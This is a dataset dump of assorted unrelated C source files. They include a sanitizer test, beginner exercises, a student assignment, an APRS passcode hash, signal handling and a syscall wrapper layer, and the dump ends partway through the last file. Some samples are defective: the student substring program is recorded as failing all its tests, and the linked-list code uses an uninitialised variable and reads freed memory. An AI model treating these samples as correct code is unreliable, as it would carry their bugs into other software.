file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/12637044.c | // RUN: %clang_hwasan -O1 %s -o %t
// RUN: %env_hwasan_opts=stack_history_size=2048 not %run %t 2046 2>&1 | FileCheck %s --check-prefix=YES
// RUN: %env_hwasan_opts=stack_history_size=2048 not %run %t 2047 2>&1 | FileCheck %s --check-prefix=NO
// REQUIRES: stable-runtime
#include <stdlib.h>
void USE(void *x) { // pretend_to_do_something(void *x)
__asm__ __volatile__("" : : "r" (x) : "memory");
}
volatile int four = 4;
__attribute__((noinline)) void FUNC0() { int x[4]; USE(&x[0]); }
__attribute__((noinline)) void FUNC() { int x[4]; USE(&x[0]); }
__attribute__((noinline)) void OOB() { int x[4]; x[four] = 0; USE(&x[0]); }
int main(int argc, char **argv) {
int X = argc == 2 ? atoi(argv[1]) : 10;
// FUNC0 is X+2's element of the ring buffer.
// If runtime buffer size is less than it, FUNC0 record will be lost.
FUNC0();
for (int i = 0; i < X; ++i)
FUNC();
OOB();
}
// YES: Previously allocated frames
// YES: OOB
// YES: FUNC
// YES: FUNC0
// NO: Previously allocated frames
// NO: OOB
// NO: FUNC
// NO-NOT: FUNC0
|
the_stack_data/434352.c | /*
** EPITECH PROJECT, 2017
** tree.c
** File description:
** Project Semaine01
*/
void tree(int size)
{
int premiere_etoile = size * (4 + size) / 2;
int count = 0;
int feuilles = 1;
int feuilles_base = 4;
int a = 1;
int count_paliers = size - 2;
int b = 2;
int c = 2;
int size_save = size;
while(size > 0) {
for (feuilles; feuilles <= feuilles_base; feuilles++) {
while (count != premiere_etoile) {
my_putchar(' ');
count++;
}
count = 0;
premiere_etoile--;
while (count != a) {
my_putchar('*');
count++;
}
my_putchar('\n');
count = 0;
a = a + 2;
}
if (size == count_paliers) {
b++;
premiere_etoile = premiere_etoile + b;
feuilles = 1;
feuilles_base++;
size--;
c++;
a = a - (b + c);
count_paliers = count_paliers - 2;
} else {
premiere_etoile = premiere_etoile + b;
feuilles = 1;
feuilles_base++;
size--;
a = a - (b + c);
}
}
build_trunk(size_save);
}
int build_trunk(int size_save)
{
int count = 0;
int count_total = 0;
int premier_tronc = (size_save * (4 + size_save) / 2) - size_save / 2;;
int barres = 0;
while (count_total != size_save) {
while (count != premier_tronc) {
my_putchar(' ');
count++;
}
while (barres != size_save) {
my_putchar('|');
barres++;
}
barres = 0;
count = 0;
count_total++;
my_putchar('\n');
}
}
|
the_stack_data/1123114.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_init_tab.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: angagnie <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2015/07/19 13:24:46 by angagnie #+# #+# */
/* Updated: 2015/07/19 22:47:15 by angagnie ### ########.fr */
/* */
/* ************************************************************************** */
#include <stdlib.h>
int **ft_create_table(void)
{
int i;
int **tab;
i = -1;
tab = (int **)malloc(sizeof(int *) * 9);
while (++i < 9)
tab[i] = (int *)malloc(sizeof(int) * 9);
return (tab);
}
int ft_god_number(int **tab)
{
int i;
int pos;
pos = -1;
i = 0;
while (++pos != 81)
{
if (tab[pos / 9][pos % 9] != 0)
++i;
}
return (i);
}
int ft_init_tab(int ***list, char **argv)
{
int pos;
int i;
int j;
*list = ft_create_table();
pos = -1;
while (++pos || 1)
{
i = pos / 9;
j = pos % 9;
if (pos == 81)
return (ft_god_number(*list) < 17);
if (argv[i + 1][j] == '.')
(*list)[i][j] = 0;
else if ((argv[i + 1][j] >= '0') && (argv[i + 1][j] <= '9'))
(*list)[i][j] = (int)(argv[i + 1][j] - 48);
else
return (1);
}
return (1);
}
|
the_stack_data/135887.c | extern int glob;
extern int mystery (void);
extern int modglob (void)
/*@globals glob@*/
/*@modifies glob@*/ ;
int f (int x, int y[])
{
int i = x++ * x;
y[i] = i++;
i += modglob() * glob;
i += mystery() * glob;
return i;
}
|
the_stack_data/92574.c | struct vector
{
int arr[5];
int size;
};
int main()
{
struct vector v;
v.arr[0] = 1;
assert(v.arr[0] == 1, "v.arr[0] must be 1");
return 0;
} |
the_stack_data/696915.c | /**
* @file minSize15.c Defines MinSize set of 15
* @brief
* Done in this way to be able to assemble various alternative sorting
* arrangements staticly, rather than requiring one to recompile an
* application as part of running a test suite. In this regard, we traded
* off the low-overhead of having lots of very small functions that do
* very little with the benefit of writing easy Makefiles that select
* which minimum size to use at static linking time.
*
* @author George Heineman
* @date 6/15/08
*/
int minSize = 15;
|
the_stack_data/36075651.c | /*numPass=0, numTotal=5
Verdict:WRONG_ANSWER, Visibility:1, Input:"18 abcxyzdefxyzghixyz
3 xyz
2 uv", ExpOutput:"abcuvdefuvghiuv
", Output:""
Verdict:WRONG_ANSWER, Visibility:1, Input:"16 hello,howareyou?
3 are
4 were", ExpOutput:"hello,howwereyou?
", Output:""
Verdict:WRONG_ANSWER, Visibility:1, Input:"20 abcdhefghighehiklmhe
2 he
4 hehe", ExpOutput:"abcdhehefghighehehiklmhehe
", Output:""
Verdict:WRONG_ANSWER, Visibility:1, Input:"18 hihellohihellohiih
2 hi
5 hello", ExpOutput:"hellohellohellohellohelloih
", Output:""
Verdict:WRONG_ANSWER, Visibility:0, Input:"14 hihellohihello
3 hii
2 hi", ExpOutput:"hihellohihello
", Output:""
*/
#include <stdio.h>
#include <stdlib.h>
int str_len(char s[])
{int i;
for(i=0;s[i]!='\0';++i);
return i;
}
void replace_substring(char *s,char *t,char *w)
{
int count=0;
int i=0;
while(s[i]!='\0')
{
for(int j=i;j<i+str_len(t);j++)
{
if(s[j]==t[j-i]) {
count++;
// printf("Matching %c and %c\n", s[j], t[j-i]);
}
else count=0;
}
if(count==str_len(t))
{
//found a matching substr.
//char*x=(char*)malloc(sizeof(char)*str_len(w));
//for(int k=0;k<str_len(w)+i+1;k++)
// x[k]=w[k];
printf("%s", w);
i+=str_len(t);
}
else
{
printf("%c", s[i]);
i++;
}
/* if(str_len(t)==str_len(w))
{
pr
for(int k=i;k<str_len(w)+i;k++)
s[k]=w[k-i];
i=i+str_len(t);}
else if(str_len(t)>str_len(w))
{
}
else if(str_len(t)>str_len(w))
{
}
}
printf("%s", s);*/
}
}
int main()
{
int l1, l2, l3;
scanf("%d", &l1);
char*s1=(char*)malloc(sizeof(char)*l1);
scanf("%d", &l2);
char*s2=(char*)malloc(sizeof(char)*l2);
scanf("%d", &l3);
char*s3=(char*)malloc(sizeof(char)*l3);
replace_substring(s1, s2, s3);
return 0;
} |
the_stack_data/98574026.c | int passcode(char *callin)
{
int i = 0;
char call[40];
strncpy(call, callin, 30);
unsigned int hash = 0x73e2;
while (call[i]) {
if (call[i] == '-')
break;
call[i] = toupper(call[i]);
hash ^= call[i] << 8;
if (call[i + 1] == 0)
break;
if (call[i + 1] == '-')
break;
call[i + 1] = toupper(call[i + 1]);
hash ^= call[i + 1];
i += 2;
}
hash = hash & 0x7fff;
return hash;
}
|
the_stack_data/28262011.c | /* ########### Trabajo evaluable SSOO ############
################## EJ 3 ######################
######### CARLOS JESUS CEBRIAN SANCHEZ ########
################ 48686394 V ################### */
#include <stdio.h>
#include <signal.h> /* Libreria de signal */
#include <stdlib.h> /* Macros EXIT_FAILURE, EXIT_SUCCESS */
#include <unistd.h> /* _exit() */
void handler(int sig);
int main(int argc, char *argv[]){
int sig;
/* Control de numero de argumentos */
if(argc != 2){
fprintf(stderr,"Invalid number of arguments, use: escudo3 <number>\n");
_exit(EXIT_FAILURE);
}
/* Conversion de la señal recibida y control de la misma */
if((sig = atoi(argv[1])) <= 0){
fprintf(stderr,"Invalid signal or SIGNULL\n");
_exit(EXIT_FAILURE);
}
/* Bucle infinito */
while(1){
/* Instalacion del manejador dentro del bucle infinito */
if(signal(sig,handler) == SIG_ERR){
fprintf(stderr,"The signal can't be caught\n");
_exit(EXIT_FAILURE);
}
}
return EXIT_SUCCESS;
}
void handler(int sig){
printf("Recibida la señal %d\n",sig);
}
|
the_stack_data/570370.c | #include <sys/types.h>
#include <stdint.h>
#include <stddef.h>
#include "sys/mman.h"
#undef KEY
#if defined(__i386)
# define KEY '_','_','i','3','8','6'
#elif defined(__x86_64)
# define KEY '_','_','x','8','6','_','6','4'
#elif defined(__ppc__)
# define KEY '_','_','p','p','c','_','_'
#elif defined(__ppc64__)
# define KEY '_','_','p','p','c','6','4','_','_'
#elif defined(__aarch64__)
# define KEY '_','_','a','a','r','c','h','6','4','_','_'
#elif defined(__ARM_ARCH_7A__)
# define KEY '_','_','A','R','M','_','A','R','C','H','_','7','A','_','_'
#elif defined(__ARM_ARCH_7S__)
# define KEY '_','_','A','R','M','_','A','R','C','H','_','7','S','_','_'
#endif
#define SIZE (sizeof(long double))
char info_size[] = {'I', 'N', 'F', 'O', ':', 's','i','z','e','[',
('0' + ((SIZE / 10000)%10)),
('0' + ((SIZE / 1000)%10)),
('0' + ((SIZE / 100)%10)),
('0' + ((SIZE / 10)%10)),
('0' + (SIZE % 10)),
']',
#ifdef KEY
' ','k','e','y','[', KEY, ']',
#endif
'\0'};
#ifdef __CLASSIC_C__
int main(argc, argv) int argc; char *argv[];
#else
int main(int argc, char *argv[])
#endif
{
int require = 0;
require += info_size[argc];
(void)argv;
return require;
}
|
the_stack_data/557436.c | // http://www.bjfuacm.com/problem/236/
#include <stdio.h>
#include <stdlib.h>
struct Node;
typedef struct Node LinkedList;
typedef struct Node* PtrToNode;
typedef PtrToNode List;
typedef PtrToNode Position;
typedef int ElementType;
struct Node {
ElementType val;
Position next;
};
List InitList(List L, int len) {
L = (PtrToNode)calloc(1, sizeof(LinkedList));
L->next = NULL;
List prev = L;
List post;
for (int i = 0; i < len; i++) {
post = (PtrToNode)calloc(1, sizeof(LinkedList));
scanf("%d", &post->val);
post->next = NULL;
prev->next = post;
prev = post;
}
return L;
}
Position Delete(Position prev) {
Position to_delete = prev->next;
prev->next = to_delete->next;
free(to_delete);
return prev;
}
void DestroyList(List L) {
Position p;
p = L->next;
L->next = NULL;
while (p != NULL) {
free(p);
p = p->next;
}
}
int main() {
List L;
int len;
while (1) {
scanf("%d", &len);
if (len == 0) break;
L = InitList(L, len);
int max;
Position p = L->next;
while (p) {
max = max > p->val ? max : p->val;
p = p->next;
}
int* F = (int *)calloc(max + 1, sizeof(int));
Position prev = L;
while (prev->next) {
if (F[abs(prev->next->val)]) {
prev = Delete(prev);
} else {
F[abs(prev->next->val)] = 1;
prev = prev->next;
}
}
p = L->next;
while (p) {
printf("%d", p->val);
printf("%s", p->next == NULL ? "\n" : " ");
p = p->next;
}
DestroyList(L);
free(L);
free(F);
}
} |
the_stack_data/18723.c | #include <sys/types.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <signal.h>
#include <arpa/inet.h>
#define NB(t) n$builtins$##t
#define SY(t) n$syscall$##t
#define SY_int n$builtins$I32
#define SY_clockid_t n$builtins$I32
#ifdef NLANG_DEFINE_FUNCTIONS
NB(Uint) SY(Strlen)(NB(U8) *s) {
return strlen((char *) s);
}
NB(I32) SY(_EPERM) = EPERM;
NB(I32) SY(_ENOENT) = ENOENT;
NB(I32) SY(_ESRCH) = ESRCH;
NB(I32) SY(_EINTR) = EINTR;
NB(I32) SY(_EIO) = EIO;
NB(I32) SY(_ENXIO) = ENXIO;
NB(I32) SY(_E2BIG) = E2BIG;
NB(I32) SY(_ENOEXEC) = ENOEXEC;
NB(I32) SY(_EBADF) = EBADF;
NB(I32) SY(_ECHILD) = ECHILD;
NB(I32) SY(_EAGAIN) = EAGAIN;
NB(I32) SY(_ENOMEM) = ENOMEM;
NB(I32) SY(_EACCES) = EACCES;
NB(I32) SY(_EFAULT) = EFAULT;
NB(I32) SY(_ENOTBLK) = ENOTBLK;
NB(I32) SY(_EBUSY) = EBUSY;
NB(I32) SY(_EEXIST) = EEXIST;
NB(I32) SY(_EXDEV) = EXDEV;
NB(I32) SY(_ENODEV) = ENODEV;
NB(I32) SY(_ENOTDIR) = ENOTDIR;
NB(I32) SY(_EISDIR) = EISDIR;
NB(I32) SY(_EINVAL) = EINVAL;
NB(I32) SY(_ENFILE) = ENFILE;
NB(I32) SY(_EMFILE) = EMFILE;
NB(I32) SY(_ENOTTY) = ENOTTY;
NB(I32) SY(_ETXTBSY) = ETXTBSY;
NB(I32) SY(_EFBIG) = EFBIG;
NB(I32) SY(_ENOSPC) = ENOSPC;
NB(I32) SY(_ESPIPE) = ESPIPE;
NB(I32) SY(_EROFS) = EROFS;
NB(I32) SY(_EMLINK) = EMLINK;
NB(I32) SY(_EPIPE) = EPIPE;
NB(I32) SY(_EDOM) = EDOM;
NB(I32) SY(_ERANGE) = ERANGE;
NB(I32) SY(_EDEADLK) = EDEADLK;
NB(I32) SY(_ENAMETOOLONG) = ENAMETOOLONG;
NB(I32) SY(_ENOLCK) = ENOLCK;
NB(I32) SY(_ENOSYS) = ENOSYS;
NB(I32) SY(_ENOTEMPTY) = ENOTEMPTY;
NB(I32) SY(_ELOOP) = ELOOP;
NB(I32) SY(_EWOULDBLOCK) = EWOULDBLOCK;
NB(I32) SY(_ENOMSG) = ENOMSG;
NB(I32) SY(_EIDRM) = EIDRM;
NB(I32) SY(_ECHRNG) = ECHRNG;
NB(I32) SY(_EL2NSYNC) = EL2NSYNC;
NB(I32) SY(_EL3HLT) = EL3HLT;
NB(I32) SY(_EL3RST) = EL3RST;
NB(I32) SY(_ELNRNG) = ELNRNG;
NB(I32) SY(_EUNATCH) = EUNATCH;
NB(I32) SY(_ENOCSI) = ENOCSI;
NB(I32) SY(_EL2HLT) = EL2HLT;
NB(I32) SY(_EBADE) = EBADE;
NB(I32) SY(_EBADR) = EBADR;
NB(I32) SY(_EXFULL) = EXFULL;
NB(I32) SY(_ENOANO) = ENOANO;
NB(I32) SY(_EBADRQC) = EBADRQC;
NB(I32) SY(_EBADSLT) = EBADSLT;
NB(I32) SY(_EDEADLOCK) = EDEADLOCK;
NB(I32) SY(_EBFONT) = EBFONT;
NB(I32) SY(_ENOSTR) = ENOSTR;
NB(I32) SY(_ENODATA) = ENODATA;
NB(I32) SY(_ETIME) = ETIME;
NB(I32) SY(_ENOSR) = ENOSR;
NB(I32) SY(_ENONET) = ENONET;
NB(I32) SY(_ENOPKG) = ENOPKG;
NB(I32) SY(_EREMOTE) = EREMOTE;
NB(I32) SY(_ENOLINK) = ENOLINK;
NB(I32) SY(_EADV) = EADV;
NB(I32) SY(_ESRMNT) = ESRMNT;
NB(I32) SY(_ECOMM) = ECOMM;
NB(I32) SY(_EPROTO) = EPROTO;
NB(I32) SY(_EMULTIHOP) = EMULTIHOP;
NB(I32) SY(_EDOTDOT) = EDOTDOT;
NB(I32) SY(_EBADMSG) = EBADMSG;
NB(I32) SY(_EOVERFLOW) = EOVERFLOW;
NB(I32) SY(_ENOTUNIQ) = ENOTUNIQ;
NB(I32) SY(_EBADFD) = EBADFD;
NB(I32) SY(_EREMCHG) = EREMCHG;
NB(I32) SY(_ELIBACC) = ELIBACC;
NB(I32) SY(_ELIBBAD) = ELIBBAD;
NB(I32) SY(_ELIBSCN) = ELIBSCN;
NB(I32) SY(_ELIBMAX) = ELIBMAX;
NB(I32) SY(_ELIBEXEC) = ELIBEXEC;
NB(I32) SY(_EILSEQ) = EILSEQ;
NB(I32) SY(_ERESTART) = ERESTART;
NB(I32) SY(_ESTRPIPE) = ESTRPIPE;
NB(I32) SY(_EUSERS) = EUSERS;
NB(I32) SY(_ENOTSOCK) = ENOTSOCK;
NB(I32) SY(_EDESTADDRREQ) = EDESTADDRREQ;
NB(I32) SY(_EMSGSIZE) = EMSGSIZE;
NB(I32) SY(_EPROTOTYPE) = EPROTOTYPE;
NB(I32) SY(_ENOPROTOOPT) = ENOPROTOOPT;
NB(I32) SY(_EPROTONOSUPPORT) = EPROTONOSUPPORT;
NB(I32) SY(_ESOCKTNOSUPPORT) = ESOCKTNOSUPPORT;
NB(I32) SY(_EOPNOTSUPP) = EOPNOTSUPP;
NB(I32) SY(_EPFNOSUPPORT) = EPFNOSUPPORT;
NB(I32) SY(_EAFNOSUPPORT) = EAFNOSUPPORT;
NB(I32) SY(_EADDRINUSE) = EADDRINUSE;
NB(I32) SY(_EADDRNOTAVAIL) = EADDRNOTAVAIL;
NB(I32) SY(_ENETDOWN) = ENETDOWN;
NB(I32) SY(_ENETUNREACH) = ENETUNREACH;
NB(I32) SY(_ENETRESET) = ENETRESET;
NB(I32) SY(_ECONNABORTED) = ECONNABORTED;
NB(I32) SY(_ECONNRESET) = ECONNRESET;
NB(I32) SY(_ENOBUFS) = ENOBUFS;
NB(I32) SY(_EISCONN) = EISCONN;
NB(I32) SY(_ENOTCONN) = ENOTCONN;
NB(I32) SY(_ESHUTDOWN) = ESHUTDOWN;
NB(I32) SY(_ETOOMANYREFS) = ETOOMANYREFS;
NB(I32) SY(_ETIMEDOUT) = ETIMEDOUT;
NB(I32) SY(_ECONNREFUSED) = ECONNREFUSED;
NB(I32) SY(_EHOSTDOWN) = EHOSTDOWN;
NB(I32) SY(_EHOSTUNREACH) = EHOSTUNREACH;
NB(I32) SY(_EALREADY) = EALREADY;
NB(I32) SY(_EINPROGRESS) = EINPROGRESS;
NB(I32) SY(_ESTALE) = ESTALE;
NB(I32) SY(_EUCLEAN) = EUCLEAN;
NB(I32) SY(_ENOTNAM) = ENOTNAM;
NB(I32) SY(_ENAVAIL) = ENAVAIL;
NB(I32) SY(_EISNAM) = EISNAM;
NB(I32) SY(_EREMOTEIO) = EREMOTEIO;
NB(I32) SY(_EDQUOT) = EDQUOT;
NB(I32) SY(_ENOMEDIUM) = ENOMEDIUM;
NB(I32) SY(_EMEDIUMTYPE) = EMEDIUMTYPE;
NB(I32) SY(_ECANCELED) = ECANCELED;
NB(I32) SY(_ENOKEY) = ENOKEY;
NB(I32) SY(_EKEYEXPIRED) = EKEYEXPIRED;
NB(I32) SY(_EKEYREVOKED) = EKEYREVOKED;
NB(I32) SY(_EKEYREJECTED) = EKEYREJECTED;
NB(I32) SY(_EOWNERDEAD) = EOWNERDEAD;
NB(I32) SY(_ENOTRECOVERABLE) = ENOTRECOVERABLE;
NB(I32) SY(_ERFKILL) = ERFKILL;
NB(I32) SY(_EHWPOISON) = EHWPOISON;
NB(I32) SY(O_RDONLY) = O_RDONLY;
NB(I32) SY(O_WRONLY) = O_WRONLY;
NB(I32) SY(O_RDWR) = O_RDWR;
NB(I32) SY(O_APPEND) = O_APPEND;
NB(I32) SY(O_ASYNC) = O_ASYNC;
NB(I32) SY(O_CLOEXEC) = O_CLOEXEC;
NB(I32) SY(O_CREAT) = O_CREAT;
NB(I32) SY(O_DIRECT) = O_DIRECT;
NB(I32) SY(O_DIRECTORY) = O_DIRECTORY;
NB(I32) SY(O_DSYNC) = O_DSYNC;
NB(I32) SY(O_EXCL) = O_EXCL;
NB(I32) SY(O_LARGEFILE) = O_LARGEFILE;
NB(I32) SY(O_NOATIME) = O_NOATIME;
NB(I32) SY(O_NOCTTY) = O_NOCTTY;
NB(I32) SY(O_NOFOLLOW) = O_NOFOLLOW;
NB(I32) SY(O_NONBLOCK) = O_NONBLOCK;
NB(I32) SY(O_NDELAY) = O_NDELAY;
NB(I32) SY(O_PATH) = O_PATH;
NB(I32) SY(O_SYNC) = O_SYNC;
NB(I32) SY(O_TMPFILE) = O_TMPFILE;
NB(I32) SY(O_TRUNC) = O_TRUNC;
NB(I32) SY(AT_FDCWD) = AT_FDCWD;
NB(I32) SY(AT_SYMLINK_FOLLOW) = AT_SYMLINK_FOLLOW;
NB(I32) SY(AT_SYMLINK_NOFOLLOW) = AT_SYMLINK_NOFOLLOW;
NB(I32) SY(AT_EMPTY_PATH) = AT_EMPTY_PATH;
NB(I32) SY(AT_REMOVEDIR) = AT_REMOVEDIR;
NB(I32) SY(SEEK_SET) = SEEK_SET;
NB(I32) SY(SEEK_CUR) = SEEK_CUR;
NB(I32) SY(SEEK_END) = SEEK_END;
NB(I32) SY(SEEK_DATA) = SEEK_DATA;
NB(I32) SY(SEEK_HOLE) = SEEK_HOLE;
NB(I32) SY(XATTR_CREATE) = XATTR_CREATE;
NB(I32) SY(XATTR_REPLACE) = XATTR_REPLACE;
NB(I32) SY(CLOCK_REALTIME) = CLOCK_REALTIME;
NB(I32) SY(CLOCK_REALTIME_COARSE) = CLOCK_REALTIME_COARSE;
NB(I32) SY(CLOCK_MONOTONIC) = CLOCK_MONOTONIC;
NB(I32) SY(CLOCK_MONOTONIC_COARSE) = CLOCK_MONOTONIC_COARSE;
NB(I32) SY(CLOCK_MONOTONIC_RAW) = CLOCK_MONOTONIC_RAW;
NB(I32) SY(CLOCK_BOOTTIME) = CLOCK_BOOTTIME;
NB(I32) SY(CLOCK_PROCESS_CPUTIME_ID) = CLOCK_PROCESS_CPUTIME_ID;
NB(I32) SY(CLOCK_THREAD_CPUTIME_ID) = CLOCK_THREAD_CPUTIME_ID;
NB(I32) SY(PROT_EXEC) = PROT_EXEC;
NB(I32) SY(PROT_READ) = PROT_READ;
NB(I32) SY(PROT_WRITE) = PROT_WRITE;
NB(I32) SY(PROT_NONE) = PROT_NONE;
NB(I32) SY(MAP_SHARED) = MAP_SHARED;
NB(I32) SY(MAP_PRIVATE) = MAP_PRIVATE;
NB(I32) SY(MAP_ANONYMOUS) = MAP_ANONYMOUS;
NB(U8) *SY(MAP_FAILED) = MAP_FAILED;
// Some of these functions should explicitly set errno to 0 before
// performing the underlying call (e.g. sysconf), as -1 can be a valid
// return value and on its own -1 is not sufficient to determine whether an
// error occured.
static __thread int _$Nlatestsyscallerrno;
static NB(I32) SY(errno)(void) {
return _$Nlatestsyscallerrno;
}
static SY_int SY(unlink)(NB(U8) *pathname) {
int ret = unlink((char *) pathname);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(close)(SY_int fd) {
int ret = close(fd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(open)(NB(U8) *pathname, NB(I32) flags, NB(U32) mode) {
int ret = open((char *) pathname, flags, mode);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(openat)(SY_int dirfd, NB(U8) *pathname, NB(I32) flags, NB(U32) mode) {
// openat() wrapper is borked on glibc < 2.21, see
// https://sourceware.org/bugzilla/show_bug.cgi?id=17523
int ret = syscall(SYS_openat, dirfd, (char *) pathname, flags, mode);
_$Nlatestsyscallerrno = errno;
return ret;
}
NB(I32) SY(F_DUPFD) = F_DUPFD;
NB(I32) SY(F_GETFD) = F_GETFD;
NB(I32) SY(F_SETFD) = F_SETFD;
NB(I32) SY(F_GETFL) = F_GETFL;
NB(I32) SY(F_SETFL) = F_SETFL;
static SY_int SY(fcntl_void)(SY_int fd, SY_int cmd) {
int ret = fcntl(fd, cmd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fcntl_i32)(SY_int fd, SY_int cmd, SY_int arg) {
int ret = fcntl(fd, cmd, arg);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fcntl_ref)(SY_int fd, SY_int cmd, NB(U8) *arg) {
int ret = fcntl(fd, cmd, arg);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(mkfifoat)(SY_int dirfd, NB(U8) *pathname, NB(U32) mode) {
int ret = mkfifoat(dirfd, (char *) pathname, mode);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(linkat)(SY_int olddirfd, NB(U8) *oldpath,
SY_int newdirfd, NB(U8) *newpath, NB(I32) flags) {
int ret = linkat(olddirfd, (char *) oldpath, newdirfd, (char *) newpath, flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(unlinkat)(SY_int dirfd, NB(U8) *pathname, NB(I32) flags) {
int ret = unlinkat(dirfd, (char *) pathname, flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(mkdirat)(SY_int dirfd, NB(U8) *pathname, NB(U32) mode) {
int ret = mkdirat(dirfd, (char *) pathname, mode);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fchdir)(SY_int fd) {
int ret = fchdir(fd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(symlinkat)(NB(U8) *target, SY_int newdirfd, NB(U8) *linkpath) {
int ret = symlinkat((char *) target, newdirfd, (char *) linkpath);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(readlinkat)(SY_int dirfd, NB(U8) *pathname, NB(U8) *buf, NB(Uint) bufsiz) {
ssize_t ret = readlinkat(dirfd, (char *) pathname, (char *) buf, bufsiz);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(renameat)(SY_int olddirfd, NB(U8) *oldpath,
SY_int newdirfd, NB(U8) *newpath, NB(U32) flags) {
(void) flags;
int ret = renameat(olddirfd, (char *) oldpath, newdirfd, (char *) newpath);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(write)(SY_int fd, NB(U8) *buf, NB(Uint) count) {
// write(2) says that on a short write, it *may* report an error. We hope
// it sets errno whenever there is a short write, even if no error has
// been detected. But we don't trust it.
errno = 0;
ssize_t ret = write(fd, buf, count);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(pwrite)(SY_int fd, NB(U8) *buf, NB(Uint) count, NB(Uint) off) {
// pwrite(2) says that on a short write, it *may* report an error. We hope
// it sets errno whenever there is a short write, even if no error has
// been detected. But we don't trust it.
errno = 0;
ssize_t ret = pwrite(fd, buf, count, off);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(read)(SY_int fd, NB(U8) *buf, NB(Uint) count) {
ssize_t ret = read(fd, buf, count);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(pread)(SY_int fd, NB(U8) *buf, NB(Uint) count, NB(Uint) off) {
ssize_t ret = pread(fd, buf, count, off);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(lseek)(SY_int fd, NB(Int) off, NB(I32) whence) {
off_t ret = lseek(fd, off, whence);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(sysconf)(NB(Int) name) {
errno = 0;
long ret = sysconf(name);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fstatat)(SY_int dirfd, NB(U8) *pathname, struct SY(Stat_t) *buf, NB(I32) flags) {
errno = 0;
struct stat st = { 0 };
int ret = fstatat(dirfd, (char *) pathname, &st, flags);
_$Nlatestsyscallerrno = errno;
if (ret >= 0) {
buf->Size = st.st_size;
buf->Mtime_sec = st.st_mtim.tv_sec;
buf->Mtime_nsec = st.st_mtim.tv_nsec;
buf->Mode = st.st_mode;
buf->Owner = st.st_uid;
buf->Group = st.st_gid;
}
return ret;
}
static SY_int SY(fdatasync)(SY_int fd) {
errno = 0;
int ret = fdatasync(fd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fsync)(SY_int fd) {
errno = 0;
int ret = fsync(fd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(ftruncate)(SY_int fd, NB(Uint) size) {
errno = 0;
int ret = ftruncate(fd, size);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fchown)(SY_int fd, NB(Int) uid, NB(Int) gid) {
errno = 0;
int ret = fchown(fd, uid, gid);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fsetxattr)(SY_int fd, NB(U8) *name, NB(U8) *value, NB(Uint) size, NB(I32) flags) {
errno = 0;
int ret = fsetxattr(fd, (char *) name, (char *) value, size, flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(fgetxattr)(SY_int fd, NB(U8) *name, NB(U8) *value, NB(Uint) size) {
errno = 0;
ssize_t ret = fgetxattr(fd, (char *) name, (char *) value, size);
_$Nlatestsyscallerrno = errno;
return ret;
}
static NB(Int) SY(flistxattr)(SY_int fd, NB(U8) *list, NB(Uint) size) {
errno = 0;
ssize_t ret = flistxattr(fd, (char *) list, size);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(clock_getres)(SY_clockid_t clk_id, NB(Int) *s, NB(Int) *ns) {
struct timespec res = { 0 };
int ret = clock_getres((clockid_t) clk_id, &res);
*s = res.tv_sec;
*ns = res.tv_nsec;
return ret;
}
static SY_int SY(clock_gettime)(SY_clockid_t clk_id, NB(Int) *s, NB(Int) *ns) {
struct timespec res = { 0 };
int ret = clock_gettime((clockid_t) clk_id, &res);
*s = res.tv_sec;
*ns = res.tv_nsec;
return ret;
}
static NB(U8) *SY(getenv)(NB(U8) *name) {
return (NB(U8) *) secure_getenv((char *) name);
}
static SY_int SY(setenv)(NB(U8) *name, NB(U8) *value, NB(I32) overwrite) {
return setenv((char *) name, (char *) value, overwrite);
}
static NB(U8) *SY(mmap)(NB(Uintptr) addr, NB(Uint) length, NB(I32) prot, NB(I32) flags,
SY_int fd, NB(Uint) offset) {
void *ret = mmap((void *) addr, length, prot, flags, fd, offset);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(munmap)(NB(U8) *addr, NB(Uint) length) {
int ret = munmap((void *) addr, length);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(dup)(SY_int oldfd) {
int ret = dup(oldfd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(dup3)(SY_int oldfd, SY_int newfd, SY_int flags) {
int ret = dup3(oldfd, newfd, flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
SY_int SY(_EAI_ADDRFAMILY) = EAI_ADDRFAMILY;
